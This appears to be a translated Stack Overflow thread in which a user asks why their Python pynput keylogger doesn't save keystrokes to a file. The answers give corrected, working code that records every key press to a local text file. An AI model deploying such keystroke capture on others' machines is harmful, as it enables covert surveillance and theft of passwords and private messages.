首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Python keylogger不会将击键保存到文件

Python keylogger不会将击键保存到文件
EN

Stack Overflow用户
提问于 2021-07-10 01:08:24
回答 3查看 43关注 0票数 1

这个程序运行得很好,尽管它不会将我的击键保存到keylogger.txt

代码语言:javascript
复制
from pynput.keyboard import Key, Listener

keys = []
count = 0

def key_pressed(key):
    global keys, count
    keys.append(key)
    count += 1
    print(key)

def write_to_file(keys):
    with open("keylogger.txt", "a") as f:
        for key in keys:
            f.write(str(keys))
if count == 1:
    count = 0
    write_to_file(keys)
    keys = []

with Listener(on_press=key_pressed) as listener:
    listener.join()

我的代码中的问题出在哪里?

EN

回答 3

Stack Overflow用户

发布于 2021-07-10 01:14:03

您的write_to_file代码永远不会运行。您更改了count的值,但不会再次运行write_to_file。在key_pressed块中放置一个write_to_file调用,这将会发生。

票数 1
EN

Stack Overflow用户

发布于 2021-07-10 01:19:02

我不能完全确定在你的代码中发生的“缓冲”,但我会这样做:

代码语言:javascript
复制
from pynput.keyboard import Key, Listener

def key_pressed(key):
    print(key)
    with open("keylogger.txt", "a") as f:
        f.write(str(key) + "\n")

with Listener(on_press=key_pressed) as listener:
    listener.join()

代码中的if语句只执行一次,因此永远不会调用write_to_file函数。

票数 1
EN

Stack Overflow用户

发布于 2021-07-10 13:32:26

问题是代码的这一部分。

代码语言:javascript
复制
if count == 1:
    count = 0
    write_to_file(keys)
    keys = []

代码中的这个块永远不会运行。

如果您想使用与您的代码相同的格式,请使用此代码。但是在下面附加了一种更简单的方法

代码语言:javascript
复制
from pynput.keyboard import Key, Listener
keys = []
count = 0
def key_pressed(key):
    global keys, count
    keys.append(key)
    count += 1
    print(key)
    if count == 1:
        count = 0
        write_to_file(keys)
        keys = []

def write_to_file(keys):
    with open("keylogger.txt", "a") as f:
        for key in keys:
            f.write(str(keys))


with Listener(on_press=key_pressed) as listener:
    listener.join()

同一个的另一个实现

代码语言:javascript
复制
from pynput.keyboard import Key, Listener

def key_pressed(key):
    # Stop listener
    if key == Key.esc:
        return False
    with open("keylogger.txt", "a") as f:
        f.write(str(key))
    

with Listener(on_release=key_pressed) as listener:
    listener.join()
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/68320511

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档